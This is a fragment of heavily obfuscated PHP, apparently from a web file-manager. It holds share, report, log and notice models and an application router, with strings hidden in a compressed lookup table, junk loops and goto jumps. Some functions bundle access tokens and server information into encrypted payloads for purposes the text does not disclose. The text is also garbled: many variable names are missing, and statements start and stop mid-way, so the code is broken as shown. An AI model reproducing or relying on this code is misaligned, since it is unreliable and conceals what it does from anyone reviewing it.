$ޱ[$ۜ[1676]]; } if ($ޱ[$ۜ[786]]) { $ = $ޱ[$ۜ[787]] ? $ޱ[$ۜ[787]] : strtotime(date($ۜ[2037])); $Ȫ[$ۜ[201]] = array($ۜ[362], array($ޱ[$ۜ[786]], $)); } if ($ޱ[$ۜ[33]]) { $Ȫ[$ޱ[$ۜ[33]]] = 1; } else { $Ȫ[] = array($ۜ[517] => array($ۜ[1045], 0), $ۜ[620] => array($ۜ[1045], 0), $ۜ[2011] => $ۜ[1964]); } if ($ޱ[$ۜ[1960]]) { $Ȫ[] = array($ۜ[2008] => $ޱ[$ۜ[1960]], $ۜ[1574] => array($ۜ[412], "\x25{$ޱ[$ۜ[1960]]}\x25"), $ۜ[2011] => $ۜ[1964]); } $ = $this->_makeOrder()->where($Ȫ)->selectPage(20); if (empty($[$ۜ[398]])) { return array(); } $this->_listDataApply($[$ۜ[398]]); return $; } public function listDataApply($Ǹ) { $this->_listDataApply($Ǹ); return $Ǹ; } private function _listDataApply(&$) { $񋎥 =& $_SERVER[]; $ = array_to_keyvalue($, $񋎥[12], $񋎥[1676]); $ϴ = Model($񋎥[554])->userListInfo(array_unique($)); $ = array_to_keyvalue($, $񋎥[12], $񋎥[431]); $ԏٿ = Model($񋎥[851])->sourceListInfo($, !0); foreach ($ as $ؓ => &$ܼ) { $՜ = $ܼ[$񋎥[1676]]; $ܼ[$񋎥[2038]] = $ϴ[$՜] ? $ϴ[$՜] : !1; $ی = $ܼ[$񋎥[431]]; $ܼ[$񋎥[87]] = $ԏٿ[$ی] ? $ԏٿ[$ی] : !1; if ($ܼ[$񋎥[87]][$񋎥[460]] == $񋎥[88]) { unset($[$ؓ]); } if ($ܼ[$񋎥[87]] != $񋎥[198] && !$ܼ[$񋎥[87]]) { unset($[$ؓ]); } } unset($ܼ); $ = array_values($); } private function _makeOrder($ = '') { $ =& $_SERVER[]; $𪗅 = array($[201], $[787], $[2025], $[2026]); $ʽ = array($[479] => $[480], $[481] => $[482]); $Љݕ = Input::get($[486], $[7], $[452], $𪗅); $̗ = Input::get($[487], $[7], $[2039], array($[1957], $[481])); $̗ = $ʽ[$̗]; $ = $ . "{$Љݕ}\x20{$̗}"; return $this->order($); } public function reportAdd($) { $ =& $_SERVER[]; $ = array($[622] => $[$[622]], $[1676] => USER_ID); if (Model($[2035])->where($)->find()) { return !1; } $ʼnʟ = array($[622] => $[$[622]], $[1574] => $[$[1574]], $[431] => $[$[431]], $[497] => $[$[497]], $[1676] => USER_ID, $[33] => $[$[33]], $[482] => $[$[482]]); return Model($[2035])->add($ʼnʟ); } public function reportList($ֿ) { $䑯 =& $_SERVER[]; $س = array(); if ($ֿ[$䑯[786]]) { $ﰁ = $ֿ[$䑯[787]] ? $ֿ[$䑯[787]] : strtotime(date($䑯[2037])); $س[$䑯[201]] = array($䑯[362], array($ֿ[$䑯[786]], $ﰁ)); } if (isset($ֿ[$䑯[33]]) && in_array($ֿ[$䑯[33]], array($䑯[88], $䑯[466], $䑯[2040], $䑯[2041], $䑯[2042]))) { $س[$䑯[33]] = $ֿ[$䑯[33]]; } if (isset($ֿ[$䑯[776]]) && in_array($ֿ[$䑯[776]], array($䑯[198], $䑯[88], $䑯[466], $䑯[2040]))) { $س[$䑯[776]] = $ֿ[$䑯[776]]; } $ = Input::get($䑯[487], $䑯[7], $䑯[2039], array($䑯[1957], $䑯[481])); $狣 = array($䑯[479] => $䑯[480], $䑯[481] => $䑯[482]); $ = $䑯[2043] . $狣[$]; $ = Model($䑯[2035])->where($س)->order($)->selectPage(20); if (empty($[$䑯[398]])) { return array(); } $ٱ = array_to_keyvalue_group($[$䑯[398]], $䑯[776], $䑯[622]); if (!empty($ٱ[0])) { $ֿ = $ٱ[0]; $س = array($䑯[622] => array($䑯[7], $ֿ)); $ = $this->where($س)->field($䑯[622])->select(); $ = array_to_keyvalue($, $䑯[12], $䑯[622]); $ޝɓ = array_diff($ֿ, $); if (!empty($ޝɓ)) { foreach ($[$䑯[398]] as $̀ => $𼲥) { if (in_array($𼲥[$䑯[622]], $ޝɓ)) { unset($[$䑯[398]][$̀]); } } } } $this->_listDataApply($[$䑯[398]]); return $; } public function reportStatus($) { $Ҥ =& $_SERVER[]; $߈ = array($Ҥ[428] => $[$Ҥ[428]]); $ = Model($Ҥ[2035])->where($߈)->field($Ҥ[2044])->find(); if (!$) { return !1; } $ = array($Ҥ[776] => $[$Ҥ[776]]); if ($[$Ҥ[776]] == $Ҥ[2040] && $[$Ҥ[776]] == $Ҥ[2040]) { $[$Ҥ[776]] = 0; } $Å = Model($Ҥ[2035])->where($߈)->save($); if ($[$Ҥ[776]] == $Ҥ[466]) { if ($[$Ҥ[497]] != $Ҥ[198] && $this->shareFileMeta($[$Ҥ[497]])) { $this->shareFileMeta($[$Ҥ[497]], 0); } $this->remove($[$Ҥ[622]]); return !0; } if ($Å && $[$Ҥ[776]] == $Ҥ[2040]) { $ = $[$Ҥ[776]] == $Ҥ[2040] ? 1 : 0; $this->shareFileMeta($[$Ҥ[497]], $); $this->removeByFile($[$Ҥ[497]]); } return $Å; } private function removeByFile($ꠖ) { $ =& $_SERVER[]; $贏 = Model($[851])->where(array($[497] => $ꠖ))->field($[431])->select(); $ۃ = array_to_keyvalue($贏, $[12], $[431]); $ = array($[431] => array($[7], $ۃ), $[517] => 1); $贏 = $this->where($)->field($[622])->select(); if (empty($贏)) { return; } $ = array_to_keyvalue($贏, $[12], $[622]); $this->remove($); } private function shareFileMeta($, $ޖ = null) { $Ş =& $_SERVER[]; $紮 = array($Ş[497] => $, $Ş[94] => $Ş[2045]); if (is_null($ޖ)) { return Model($Ş[2046])->where($紮)->find(); } $紮[$Ş[403]] = $ޖ; Model($Ş[2046])->add($紮, array(), !0); } } $_file = $_SERVER[$_SERVER[][991]]; $_size = $_SERVER[][904]; goto C; aÑӫ: class SystemLightAppModel extends ModelBaseLight { public $optionType = "\x53\x79\163\164\145\155\x2e\x4c\151\147\x68\x74\101\x70\160"; public $modelType = "\x53\x79\x73\x74\145\x6d\x4f\x70\164\151\157\156"; public $field = array("\156\x61\155\145", "\x67\162\157\165\x70", "\144\x65\163\x63", "\143\x6f\156\164\x65\156\x74"); public function listData($ա = false, $ϩ = "\x6d\157\x64\x69\x66\171\x54\x69\x6d\x65", $؍ = true) { return parent::listData($ա, $ϩ, $؍); } public function remove($) { $Փů = $this->findByName($); if (!$Փů) { return !1; } return parent::remove($Փů[$_SERVER[][428]]); } public function add($) { if ($this->findByName($[$_SERVER[][32]])) { return !1; } return parent::insert($); } public function update($, $) { $Ԁ =& $_SERVER[]; $й = $this->findByName($); $ = $this->findByName($[$Ԁ[32]]); if (!$й || $ && $[$Ԁ[428]] != $й[$Ԁ[428]]) { return !1; } return parent::update($й[$Ԁ[428]], $); } } class SystemLogModel extends ModelBase { protected $tableName = "\x73\x79\x73\164\x65\155\x5f\154\157\147"; protected $dataAuto = array(array("\x63\162\x65\141\164\145\124\x69\x6d\145", "\x74\x69\155\145", "\151\x6e\x73\x65\x72\164", "\146\x75\x6e\143\x74\151\157\156")); public $typeList; function __construct() { parent::__construct(); $this->typeList = $this->typeListAll(); } public function typeListAll() { $ =& $_SERVER[]; return array($[2199] => LNG($[2200]), $[2201] => LNG($[2202]), $[1809] => LNG($[2203]), $[2204] => LNG($[2205]), $[2206] => LNG($[2207]), $[2208] => LNG($[2209]), $[2210] => LNG($[2211]), $[1839] => LNG($[2211]), $[1840] => LNG($[2212]), $[2213] => LNG($[2214]), $[2215] => LNG($[2216]), $[2217] => LNG($[2218]), $[2219] => LNG($[2220]), $[1837] => LNG($[2221]), $[2222] => LNG($[2223]), $[1844] => LNG($[2224]), $[2225] => LNG($[2226]), $[2227] => LNG($[2228]), $[2229] => LNG($[2230]), $[2231] => LNG($[2232]), $[1847] => LNG($[2233]), $[1848] => LNG($[2234]), $[2235] => LNG($[2236]), $[2237] => LNG($[2238]), $[2239] => LNG($[2240]), $[1842] => LNG($[2241]), $[2242] => LNG($[2243]), $[1841] => LNG($[2244]), $[2245] => LNG($[2246]), $[2247] => LNG($[2248]), $[2249] => LNG($[2250]), $[2251] => LNG($[2251]), $[2252] => LNG($[1813]), $[2253] => LNG($[2254]), $[2255] => LNG($[2256]), $[2257] => LNG($[2258]), $[2259] => LNG($[2260]), $[2261] => LNG($[2262]), $[2263] => LNG($[2263]), $[2264] => LNG($[2265]), $[2266] => LNG($[2267]), $[2268] => LNG($[2269]), $[2270] => LNG($[2271]), $[2272] => LNG($[2273]), $[2274] => LNG($[2275])); } private function typeFile() { $ջձ =& $_SERVER[]; $ = array($ջձ[1844] => array($ջձ[1845]), $ջձ[2217] => array($ջձ[2276]), $ջձ[2219] => array($ջձ[2277]), $ջձ[1837] => array($ջձ[1838], $ջձ[2278]), $ջձ[2227] => array(), $ջձ[2229] => array(), $ջձ[2231] => array(), $ջձ[1847] => array($ջձ[1849]), $ջձ[1848] => array($ջձ[1849]), $ջձ[2235] => array($ջձ[2279]), $ջձ[2237] => array($ջձ[2279]), $ջձ[2239] => array($ջձ[2280]), $ջձ[2225] => array($ջձ[2281]), $ջձ[1842] => array($ջձ[2282]), $ջձ[2242] => array($ջձ[2283]), $ջձ[1841] => array($ջձ[1843])); return $; } private function typeAll() { $ܐ =& $_SERVER[]; $բʍ = $this->typeList; $ = array_filter($this->typeFile()); foreach ($ as $ː => $駐) { $բʍ[$駐[0]] = $բʍ[$ː]; } $բʍ[$ܐ[1849]] = LNG($ܐ[2284]); $բʍ[$ܐ[2279]] = LNG($ܐ[2285]); return $բʍ; } public function addLog($󕂥, $Ȃ = array()) { $ =& $_SERVER[]; if (!isset($this->typeList[$󕂥])) { return; } $Ӝ؀ = isset($Ȃ[$[1676]]) ? $Ȃ[$[1676]] : 0; if (!$Ӝ؀) { $Ӝ؀ = Session::get($[2003]); } if ($󕂥 == $[2253] && is_array($Ȃ[$[2286]]) && !$Ȃ[$[2286]]) { return; } $ = get_client_ip(); if (!$Ȃ || strlen(json_encode($Ȃ)) >= 1024) { $Ȃ = array($[2287] => $); } else { if (is_array($Ȃ)) { $Ȃ[$[2287]] = $; } else { $Ȃ = array($[1235] => $Ȃ, $[2287] => $); } } $Ȃ = array($[1666] => Session::sign(), $[1667] => intval($Ӝ؀), $[33] => $󕂥, $[1669] => json_encode($Ȃ)); parent::add($Ȃ); } public function remove($) { $this->where(array($_SERVER[][448] => $))->delete(); } private function _makeOrder($շ = '') { $ =& $_SERVER[]; $豺 = $[201]; $˱ = array($[479] => $[480], $[481] => $[482]); $؜ = Input::get($[487], $[7], $[2039], array($[1957], $[481])); $؜ = $˱[$؜]; $շ = $շ . "{$豺}\x20{$؜}"; return $this->order($շ); } public function get($΄ = '') { $ =& $_SERVER[]; if (!$΄) { show_json(array()); } $󰝕 = array(); if ($΄[$[1676]]) { $󰝕[$[1676]] = $΄[$[1676]]; } if (isset($΄[$[786]])) { $ = $΄[$[786]]; $ = isset($΄[$[787]]) ? $΄[$[787]] : time(); $󰝕[$[201]] = array($[362], array($, $)); } if ($΄[$[33]]) { $ = explode($[50], $΄[$[33]]); $㫟̤ = $this->typeFile(); $Ä = array(); foreach ($ as $铎) { $Ä[] = $铎; if (isset($㫟̤[$铎])) { $Ä = array_merge($Ä, $㫟̤[$铎]); } } $Ä = array_unique($Ä); if ($Ä) { $󰝕[$[33]] = array($[7], $Ä); } } else { $󰝕[$[33]] = array($[2288], $[2289]); } if (!empty($΄[$[2287]])) { $󰝕[$[482]] = array($[412], "\x25{$΄[$[2287]]}\45"); } $ = $this->_makeOrder()->where($󰝕)->selectPage(); if (empty($[$[398]])) { show_json(array(), !0, $[$[395]]); } $[$[398]] = $this->logList($[$[398]]); return $; } private function ipAddress(&$ט) { $鉲 =& $_SERVER[]; if (!empty($ט[$鉲[2287]])) { $밺 = IpLocation::get($ט[$鉲[2287]]); } else { $밺 = LNG($鉲[2290]); } $ט[$鉲[2291]] = $밺; } private function descZipDownload($Å, &$) { $ =& $_SERVER[]; if (!isset($Å[$[2292]])) { return; } $檝š = json_decode($Å[$[2292]], !0); foreach ($檝š as $ߗ) { try { $ = IO::infoFull($ߗ[$[84]]); } catch (Exception $) { continue; } $Å[$[84]] = $ߗ[$[84]]; $[] = $Å[$[431]] = $[$[431]]; $[] = $Å[$[2094]] = $[$[461]]; break; } return $Å; } private function getSourceList(&$ü) { $ۯ =& $_SERVER[]; $Л = array(); foreach ($ü as $͡ => $˻) { $ = json_decode($˻[$ۯ[482]], !0); if ($˻[$ۯ[33]] == $ۯ[1840]) { $ = $this->descZipDownload($, $Л); $ü[$͡][$ۯ[482]] = json_encode($); continue; } if (strpos($˻[$ۯ[33]], $ۯ[2096]) !== 0) { if (!isset($[$ۯ[84]]) || strpos($˻[$ۯ[33]], $ۯ[2293]) !== 0) { continue; } try { $Ê = IO::infoFull($[$ۯ[84]]); } catch (Exception $ۥ) { continue; } $Л[] = $[$ۯ[431]] = $Ê[$ۯ[431]]; $Л[] = $[$ۯ[2094]] = $Ê[$ۯ[461]]; $ü[$͡][$ۯ[482]] = json_encode($); continue; } $Л[] = $[$ۯ[431]]; $Л[] = $[$ۯ[2094]]; if ($[$ۯ[33]] == $ۯ[577]) { $Л[] = $[$ۯ[482]][$ۯ[1193]]; $Л[] = $[$ۯ[482]][$ۯ[1194]]; } if ($[$ۯ[33]] == $ۯ[2104]) { $Л[] = $[$ۯ[482]][$ۯ[431]]; } } if (!$Л) { return array(); } return Model($ۯ[851])->sourceListInfo($Л, !0); } private function logList($ѱ) { $Ǵ =& $_SERVER[]; $ԅ = array_to_keyvalue($ѱ, $Ǵ[12], $Ǵ[1676]); $ = Model($Ǵ[554])->userListInfo(array_unique($ԅ)); $ꆺ = $this->getSourceList($ѱ); $ = $this->typeAll(); $Ō = array(); $ = array(); foreach ($ѱ as $牬 => $﵎) { $ = $﵎[$Ǵ[33]]; $谻 = isset($[$﵎[$Ǵ[1676]]]) ? $[$﵎[$Ǵ[1676]]] : !1; $ШӇ = strpos($, $Ǵ[2294]) === 0 ? LNG($Ǵ[2295]) : LNG($Ǵ[2290]); $﵎[$Ǵ[32]] = isset($谻[$Ǵ[32]]) ? $谻[$Ǵ[32]] : LNG($Ǵ[2290]); $﵎[$Ǵ[561]] = isset($谻[$Ǵ[561]]) ? $谻[$Ǵ[561]] : $Ǵ[12]; $﵎[$Ǵ[1574]] = isset($[$]) ? $[$] : $ШӇ; $﵎[$Ǵ[2038]] = $谻; $̞ݭ = json_decode($﵎[$Ǵ[482]], !0); $﵎[$Ǵ[2287]] = isset($̞ݭ[$Ǵ[2287]]) ? $̞ݭ[$Ǵ[2287]] : $Ǵ[12]; $﵎[$Ǵ[2291]] = IpLocation::get($﵎[$Ǵ[2287]]); if (strpos($, $Ǵ[2096]) === 0 || isset($̞ݭ[$Ǵ[2094]])) { $̞ݭ[$Ǵ[87]] = $ꆺ[$̞ݭ[$Ǵ[431]]]; $̞ݭ[$Ǵ[2109]] = $ꆺ[$̞ݭ[$Ǵ[2094]]]; if ($̞ݭ[$Ǵ[33]] == $Ǵ[577]) { $̞ݭ[$Ǵ[482]][$Ǵ[1193]] = $ꆺ[$̞ݭ[$Ǵ[482]][$Ǵ[1193]]]; $̞ݭ[$Ǵ[482]][$Ǵ[1194]] = $ꆺ[$̞ݭ[$Ǵ[482]][$Ǵ[1194]]]; } if ($̞ݭ[$Ǵ[33]] == $Ǵ[2104]) { $̞ݭ[$Ǵ[482]][$Ǵ[431]] = $ꆺ[$̞ݭ[$Ǵ[482]][$Ǵ[431]]]; } if ($̞ݭ[$Ǵ[33]] == $Ǵ[1835]) { $̞ݭ[$Ǵ[2109]] = $̞ݭ[$Ǵ[87]]; $̞ݭ[$Ǵ[2094]] = $̞ݭ[$Ǵ[2109]][$Ǵ[431]]; $̞ݭ[$Ǵ[87]] = !1; $̞ݭ[$Ǵ[431]] = $Ǵ[12]; } if ($̞ݭ[$Ǵ[87]] && $̞ݭ[$Ǵ[87]][$Ǵ[440]] == $Ǵ[1320]) { $[] = $﵎[$Ǵ[428]]; unset($ѱ[$牬]); continue; } if ($̞ݭ[$Ǵ[2109]] && $̞ݭ[$Ǵ[2109]][$Ǵ[440]] == $Ǵ[1320]) { $[] = $﵎[$Ǵ[428]]; unset($ѱ[$牬]); continue; } } $﵎[$Ǵ[482]] = $̞ݭ; unset($﵎[$Ǵ[2296]]); $Ō[] = $﵎; } $this->clearSystemPathLog($); return $Ō; } private function clearSystemPathLog($肞) { $帐؁ =& $_SERVER[]; if (count($肞) == 0) { return; } $ = array($帐؁[428] => array($帐؁[7], array_unique($肞))); $this->where($)->delete(); } public function deviceList($», $ = 0) { $Ņ˖ =& $_SERVER[]; $ = array($Ņ˖[1676] => $», $Ņ˖[201] => array($Ņ˖[1047], $), $Ņ˖[33] => $Ņ˖[1809]); $ = array(); $˻ = $this->field($Ņ˖[2297])->where($)->order($Ņ˖[2107])->limit(50)->select(); foreach ($˻ as $ٹ => $Œ) { if ($ٹ > 0 && abs($Œ[$Ņ˖[201]] - $˻[$ٹ - 1][$Ņ˖[201]]) < 5) { continue; } $ = json_decode($Œ[$Ņ˖[482]], !0); $Œ[$Ņ˖[2287]] = isset($[$Ņ˖[2287]]) ? $[$Ņ˖[2287]] : $Ņ˖[12]; unset($[$Ņ˖[2287]]); $ = $this->deviceType($[$Ņ˖[2097]]); if (isset($[$])) { continue; } $Œ[$Ņ˖[2291]] = IpLocation::get($Œ[$Ņ˖[2287]]); $Œ[$Ņ˖[482]] = $; $[$] = $Œ; } return array_values($); } public function deviceType($) { return $; } } class SystemNoticeModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\155\x2e\x6e\157\x74\x69\x63\x65\114\151\163\x74"; public $field = array("\156\x61\x6d\145", "\143\157\156\164\145\156\x74", "\x61\165\x74\x68", "\155\x6f\144\x65", "\164\x69\155\145", "\164\171\160\x65", "\x6c\145\166\145\x6c", "\x65\156\141\142\154\x65", "\x73\x6f\x72\x74"); public function listData($旧ԩ = false, $ݶ = "\x73\x6f\x72\x74", $ = false) { return parent::listData($旧ԩ, $ݶ, $); } public function add($) { $، =& $_SERVER[]; $췶Ǯ = time(); if ($[$،[16]] == $،[2298]) { $췶Ǯ = strtotime($[$،[180]]); } $[$،[180]] = $췶Ǯ; return parent::insert($); } public function update($, $߮) { $莉 =& $_SERVER[]; $Ͽ = $this->listData($); if (!$Ͽ) { return !1; } $̱ = time(); if ($߮[$莉[16]] == $莉[2298]) { $̱ = strtotime($߮[$莉[180]]); } $߮[$莉[180]] = $̱; return parent::update($, $߮); } public function remove($룽) { $Қ▊ = $this->listData($룽); if (!$Қ▊ || $Қ▊[$_SERVER[][1320]]) { return !1; } return parent::remove($룽); } public function sort($, $ۑ) { return parent::update($, $ۑ); } public function enable($բ۲, $ͫ) { return parent::update($բ۲, array($_SERVER[][2299] => $ͫ)); } private function initUserOption() { $𤍺 =& $_SERVER[]; $this->optionType = $𤍺[2300]; $this->modelType = $𤍺[2301]; $this->field = array($𤍺[2302], $𤍺[32], $𤍺[180], $𤍺[33], $𤍺[2303], $𤍺[776], $𤍺[196]); } public function userNoticeGet($钔՗ = false) { $this->initUserOption(); return parent::listData($钔՗, $_SERVER[][428], !0); } public function userNoticeAdd($) { $ =& $_SERVER[]; $this->initUserOption(); $ = $this->findByKey($[2302], $[$[428]]); if ($) { return !0; } $Ħ = array($[2302] => $[$[428]], $[32] => $[$[32]], $[180] => $[$[180]], $[33] => isset($[$[33]]) ? $[$[33]] : 1, $[2303] => isset($[$[2303]]) ? $[$[2303]] : 0, $[776] => 0, $[196] => 0); return parent::insert($Ħ); } public function userNoticeEdit($ܛ, $) { $this->initUserOption(); return parent::update($ܛ, $); } } goto c͙; f袨: $_SERVER[ף] = explode($_SERVER[][637], gzinflate(substr($_SERVER[][638], 10, -8))); $ocmydpxikf = $_SERVER[][639]; class Application { private $defaultModule = "\151\156\x64\x65\170"; private $defaultController = "\151\156\144\x65\x78"; private $defaultAction = "\151\156\x64\x65\170"; function __construct() { } public function setDefault($苮) { $ј݊ =& $_SERVER[ף]; $ = explode($ј݊[0], trim($苮, $ј݊[0])); $this->defaultModule = $[0] ? $[0] : $this->defaultModule; $this->defaultController = $[1] ? $[1] : $this->defaultController; $this->defaultAction = $[2] ? $[2] : $this->defaultAction; $this->ljtceca3bf13($ј݊[1], array($this, $ј݊[2])); $ = $_SERVER[][640]; } public function appRun($) { $ޕ =& $_SERVER[]; $ٌ =& $_SERVER[ף]; $‹ = explode($ٌ[0], $); $ዒ = $ޕ[641]; if (strlen($ዒ) < $ޕ[642]) { die; } $Υ = strtolower($‹[0]); $ = $ޕ[643]; if (!$) { return; } $˹ = $ٌ[3]; $Ž = $ޕ[644]; if ($Υ == $ٌ[4]) { $˹ = $ٌ[5]; $‹[0] = $ٌ[6]; $‹[1] = $‹[1] . $ٌ[7]; $ = join($ٌ[0], $‹); $ = trim($, $ٌ[0]); } call_user_func(array($ٌ[8], $ٌ[9]), $˹ . $ٌ[10], $); ActionCall($); call_user_func(array($ٌ[8], $ٌ[9]), $˹ . $ٌ[11], $); $ = $ޕ[645]; if (!$) { return; } } private function autorun() { $ɫ =& $_SERVER[]; $ =& $_SERVER[ף]; global $config; $ = $ɫ[646]; while ($ < $ɫ[647]) { if ($ >= 0) { break; } $++; } if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $痜 => $) { $this->appRun($); } } private function ufzy25a6b2d7() { $ʰ =& $_SERVER[]; $ =& $_SERVER[ף]; $ = $[4]; $ = $ʰ[648]; while (strlen($) < $ʰ[647]) { if (!$) { break; } $++; } $ݺ = $GLOBALS[$[13]][$[14]][0]; if (!$ݺ || strlen($ݺ) <= strlen($)) { return; } if (strtolower(substr($ݺ, -strlen($))) != $) { return; } $ߎ = substr($ݺ, 0, -strlen($)); $ = array($[4], $ߎ); $樲 = $ʰ[649]; $ɿ = array_slice($GLOBALS[$[13]][$[14]], 1); $ = $ʰ[650]; if (!$) { die; } $GLOBALS[$[13]][$[14]] = array_merge($, $ɿ); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $פ = $ʰ[651]; while ($פ < $ʰ[636]) { if ($פ >= 0) { break; } $פ++; } } private function uadk593ace5b() { $Ǣ =& $_SERVER[]; $ =& $_SERVER[ף]; if ($GLOBALS[$[13]][$[15]] != $[6]) { return; } $ = $_SERVER[$[16]]; $ = $[17]; if (!strstr($, $)) { return; } $… = strrpos($, $); $ = substr($, $… + strlen($)); $ߧ = $Ǣ[652]; if (!$ߧ) { die; } preg_match_all($[18], $, $껒); $ = $Ǣ[653]; if (!$) { return; } $ = trim($껒[0][0], $[19]); $GLOBALS[$[13]][$[14]] = explode($[19], $); $ک̰ = $Ǣ[654]; if (!$ک̰) { return; } $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); $쌙 = $Ǣ[655]; while ($쌙 < $Ǣ[656]) { if ($쌙 >= 0) { break; } $쌙++; } } public function run() { $ =& $_SERVER[]; $а =& $_SERVER[ף]; $this->uadk593ace5b(); $؃ = $[657]; if (strlen($؃) < $[658]) { return; } $this->ufzy25a6b2d7(); $ = $GLOBALS[$а[13]][$а[14]]; $ = $[659]; if (!$) { die; } $ꚿ = $GLOBALS[$а[13]][$а[15]]; define($а[20], isset($[0]) && $[0] ? $[0] : $this->defaultModule); define($а[21], isset($[1]) && $[0] ? $[1] : $this->defaultController); define($а[22], isset($[2]) && $[0] ? $[2] : $this->defaultAction); define($а[23], MOD . $а[0] . ST . $а[0] . ACT); $_SERVER[$а[24]] = strtolower(ACTION); $ = $[660]; $this->autorun(); if (count($) >= 3) { $this->appRun($ꚿ); } else { $this->appRun(ACTION); } } private $bdns170d257c = array(); private $cglrfbb2fa76 = ''; public function mosq8204d7a2() { $ܴ =& $_SERVER[]; $ː =& $_SERVER[ף]; $this->qzsef16e63eb(); $ˇ = $ܴ[661]; while (strlen($ˇ) < $ܴ[642]) { if (!$ˇ) { break; } $ˇ++; } $this->hmrw77b70956(); $ = $ܴ[662]; if (!$) { return; } $this->kqgf4e109dae(); $赆 = $ܴ[663]; if (!$赆) { return; } $this->tgoz5f77414e(); $ = $ܴ[664]; $this->awsm4e8f7e66(); $¥ = $ܴ[665]; if (strlen($¥) < $ܴ[656]) { die; } $this->knuj47d1fe55(); $this->bmvr842c0eb3(); $this->ljtceca3bf13($ː[25], array($this, $ː[26])); $this->ljtceca3bf13($ː[27], array($this, $ː[28])); $ = $ܴ[666]; if (!$) { return; } $this->ljtceca3bf13($ː[29], array($this, $ː[30])); $ = $ܴ[667]; if (!$) { return; } $this->ljtceca3bf13($ː[31], array($this, $ː[32])); } public function zplgb8606ec3($͓) { $ =& $_SERVER[]; $ =& $_SERVER[ף]; $ = Model($[33])->get(); $ = $[668]; while (strlen($) < $[656]) { if (!$) { break; } $++; } $ = array($[34], $[35], $[36], $[37], $[38], $[39], $[40], $[41], $[42], $[43], $[44], $[45], $[46], $[47], $[48], $[49], $[50], $[51], $[52], $[53], $[54], $[55], $[56], $[57], $[58], $[59], $[60], $[61], $[62], $[63], $[64], $[65], $[66], $[67], $[68], $[69], $[70], $[71], $[72], $[73], $[74], $[75], $[76], $[77], $[78], $[79], $[80], $[81], $[82], $[83], $[84]); foreach ($ as $) { $ = $GLOBALS[$[85]][$[86]][$]; $հ = $[669]; if (!$հ) { return; } if (isset($[$])) { $ = $[$]; } $͓[$[87]][$[88]][$] = $; } $ԡ = $͓[$[87]][$[88]][$[46]]; unset($͓[$[87]][$[89]][$[90]]); unset($͓[$[87]][$[89]][$[91]]); $ = $[670]; if (strlen($) < $[658]) { return; } unset($͓[$[87]][$[88]][$[46]]); $Ֆ = $[671]; while (strlen($Ֆ) < $[636]) { if (!$Ֆ) { break; } $Ֆ++; } unset($͓[$[87]][$[88]][$[92]]); $͓[$[87]][$[88]][$[93]] = array($[94] => (int) $ԡ[$[95]], $[96] => (int) _get($ԡ, $[97], 0)); $͛ = $[672]; while ($͛ < $[658]) { if ($͛ >= 0) { break; } $͛++; } $͓[$[98]][$[99]] = Action($[100])->accessToken(); $͓[$[98]][$[101]] = md5($_SERVER[$[102]] . $[$[103]]); $͓[$[98]][$[104]] = base64_encode(serverInfo()); $͓[$[98]][$[105]] = $this->cglrfbb2fa76; $ = $[673]; if (strlen($) < $[656]) { die; } if ($[$[105]] != $[106]) { $͓[$[98]][$[107]] = $[$[107]]; $͓[$[98]][$[108]] = $[$[108]]; $ = rand_string(10) . $this->cglrfbb2fa76 . rand_string(5); $͓[$[87]][$[109]][$[110]] = $this->sqjh42353ebe($, $͓[$[98]][$[101]]); } if ($this->cglrfbb2fa76 == $[106]) { $͓[$[87]][$[88]][$[93]][$[97]] = 0; } $͓[$[98]][$[111]] = _get($this->bdns170d257c, $[112], $[6]); $͓[$[98]][$[113]] = _get($this->bdns170d257c, $[114], $[6]); if (_get($GLOBALS, $[115]) && $this->config[$[116]]) { $͓[$[98]][$[117]] = WEB_ROOT; } return $͓; } private function knuj47d1fe55() { $ =& $_SERVER[]; $޴ =& $_SERVER[ף]; $ۉ = $_SERVER[$޴[24]] == $޴[118]; if ($_SERVER[$޴[24]] == $޴[119] && $_GET[$޴[120]] == $޴[121]) { $ۉ = !0; } if ($ۉ) { $ = array($޴[105] => $this->cglrfbb2fa76, $޴[122] => $this->zsklba03c3ee(), $޴[123] => Model($޴[124])->count()); if ($this->cglrfbb2fa76 != $޴[106]) { $޽ = _get($this->bdns170d257c, $޴[125]); if ($޽) { $[$޴[126]] = $޽; $[$޴[127]] = strtotime(_get($this->bdns170d257c, $޴[128])); $[$޴[129]] = _get($this->bdns170d257c, $޴[114]); } $ = Model($޴[33])->get($޴[130], $޴[6], !0); if (is_string($) && substr($, 0, 1) == $޴[131]) { $ = json_decode_force($); } if (is_array($) && $[$޴[132]] && strstr($[$޴[132]], $޴[133])) { $憷 = explode($޴[133], $[$޴[132]]); $[$޴[134]] = $憷[0]; } } $ = $this->egbm08f767bd(json_encode($), md5($޴[135])); $ = $[674]; $ = array($޴[136] => $); call_user_func(array($޴[137], $޴[138]), $); } if ($this->cglrfbb2fa76 == $޴[106]) { return; } $ = array($޴[139], $޴[140], $޴[141], $޴[142], $޴[143], $޴[144]); $˓ڳ = $[675]; if (strlen($˓ڳ) < $[656]) { die; } $ = Model($޴[33])->get(); $ = array($޴[145] => $[$޴[34]], $޴[146] => $[$޴[35]], $޴[147] => $޴[6]); $ڞ = $[676]; while (strlen($ڞ) < $[656]) { if (!$ڞ) { break; } $ڞ++; } foreach ($ as $˞) { if (!isset($[$˞]) || !$[$˞]) { continue; } $[$˞] = $[$˞]; } call_user_func(array($޴[137], $޴[138]), $); } private function tgoz5f77414e() { $іȵ =& $_SERVER[]; $ =& $_SERVER[ף]; if ($_SERVER[$[24]] != $[148]) { return; } if (!_get($GLOBALS, $[115])) { die; } $п = $GLOBALS[$[13]]; if (isset($п[$[149]])) { $this->ybxsa25f69ba(); die; } if (!isset($п[$[150]]) || strlen($п[$[150]]) != 16) { show_json($[151] . $п[$[150]], !1); } $ƹ = Model($[33])->get($[103]); $ъ = md5($_SERVER[$[102]] . $ƹ); $ = $іȵ[677]; if (!$) { die; } $ = array($[150] => $п[$[150]], $[152] => rand_string(16), $[153] => $[135], $[154] => $[155], $[156] => $_SERVER[$[157]], $[158] => $_SERVER[$[159]], $[160] => $_SERVER[$[161]], $[101] => $ъ, $[162] => Model($[33])->get($[130])); if ($п[$[163]] == $[164]) { $͇ = $this->egbm08f767bd($ъ, $[165]); $ʤ = $this->sqjh42353ebe(json_encode($), $ъ . $[166], 3); $ʤ = $ʤ . $[167] . $_SERVER[$[157]]; $ܓ = 